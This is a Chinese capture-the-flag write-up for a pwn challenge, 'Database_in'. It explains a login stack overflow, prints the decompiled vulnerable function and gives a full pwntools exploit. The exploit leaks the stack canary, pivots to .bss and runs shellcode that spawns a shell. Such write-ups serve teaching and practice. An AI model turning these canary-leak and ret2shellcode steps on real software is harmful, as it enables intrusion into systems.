# Database_in

# 题目分析:

在 login 的时候存在简单的栈溢出,这里我开启了 canary 保护,关闭了 pie 保护以及 nx 保护。所以所以可以使用 ret2shellcode 攻击。

程序在读取 password 的时候,明显的溢出了,因为这里自定义的 readn 函数,我是允许提前结束,并且结尾不会追加 '\x00',而且,但当尝试登陆管理员账号的时候,如果密码错误,会回显错误的密码,而且使用的是格式化字符串 “% s” 那么,溢出覆盖 canary 的低字节,然后报错输出,就泄露了 canary,然后第二次输入的时候,把 canary 带上。

__int64 sub_400AD8()
{
  int fd; // [rsp+Ch] [rbp-44h]
  __int64 s[2]; // [rsp+10h] [rbp-40h] BYREF
  char buf[16]; // [rsp+20h] [rbp-30h] BYREF
  char s1[8]; // [rsp+30h] [rbp-20h] BYREF
  __int64 v5; // [rsp+38h] [rbp-18h]
  unsigned __int64 v6; // [rsp+48h] [rbp-8h]
  v6 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  memset(s1, 0, 0x10uLL);
  fd = open("/dev/urandom", 0);
  if ( fd <= 0 )
  {
    puts("open error!there is no such file!");
    _exit(0);
  }
  if ( read(fd, buf, 0x10uLL) <= 0 )
  {
    puts("Initialization error. Please check the equipment environment.");
    _exit(0);
  }
  memset(s, 0, sizeof(s));
  memset(s1, 0, 0x10uLL);
  puts("please login first!");
  printf("name:       ");
  sub_400A3D(s, 16LL);
  printf("password:   ");
  sub_400A3D(s1, 64LL);					// 栈溢出点
  if ( !strcmp((const char *)s, "cat_loves_her") )
  {
    if ( !strcmp(s1, buf) )
    {
      dword_6022CC = 1;
    }
    else
    {
      printf("the password %s is wrong!You can try again !", s1);
      printf("password:   ");
      sub_400A3D(s1, 64LL);				// 栈溢出点
    }
  }
  dword_6022D0 = 1;
  qword_6022E0 = s[0];
  qword_6022E8 = s[1];
  qword_6022F0 = *(_QWORD *)s1;
  qword_6022F8 = v5;
  printf("%s,welcome to dreamcat's easy Databasesystem!\n", (const char *)s);
  puts("here you will learn how to play ctfpwn!");
  return 0LL;
}

然后我们看溢出,我们最多向 rbp 的后面溢出 0x18 字节,所以这里需要使用栈迁移。

将栈迁移到 bss 段上,然后将控制程序再次返回读取密码的地方,这次我们向 bss 上的一次地方写入 0x40 字节的数据,但是因为 canary 的捣乱,我们需要在前 0x18 字节部署一下 read (), 让我们将 shellcode 正常的的读取进来。这里的一个小技巧是将 shellcode 读到后面一点的地址,然后在 syscall 的后面加一个 call 指令跳转过去。就可以避开 rsp 的影响。

# exp

from pwn import *
#r =process('./database_in')
context.arch = "amd64"
#gdb.attach(r,'b *0x0400C15')
bss = 0x602800
r.sendlineafter("name",b"cat_loves_her")
r.sendlineafter("password",b'X'*0x19)
r.recvuntil(b"X"*0x18)
canary = u64(r.recv(8))-0x58
info("canary:"+hex(canary))
pad = b'a'*0x18+p64(canary)+p64(bss)+p64(0x400C7D)
r.sendlineafter("password",pad)
shellcode =asm('''
	mov rdi,0
	mov rsi,0x602850
	xor rax,rax
	syscall
	''')+b'\xe8\x58'
#0x6027e0
pad = shellcode.ljust(0x18,b'\x00')+p64(canary)+p64(bss+0x80)+p64(0x6027e0)
pause(1)
r.sendline(pad)
pause(1)
r.sendline(asm(shellcraft.sh()))
r.interactive()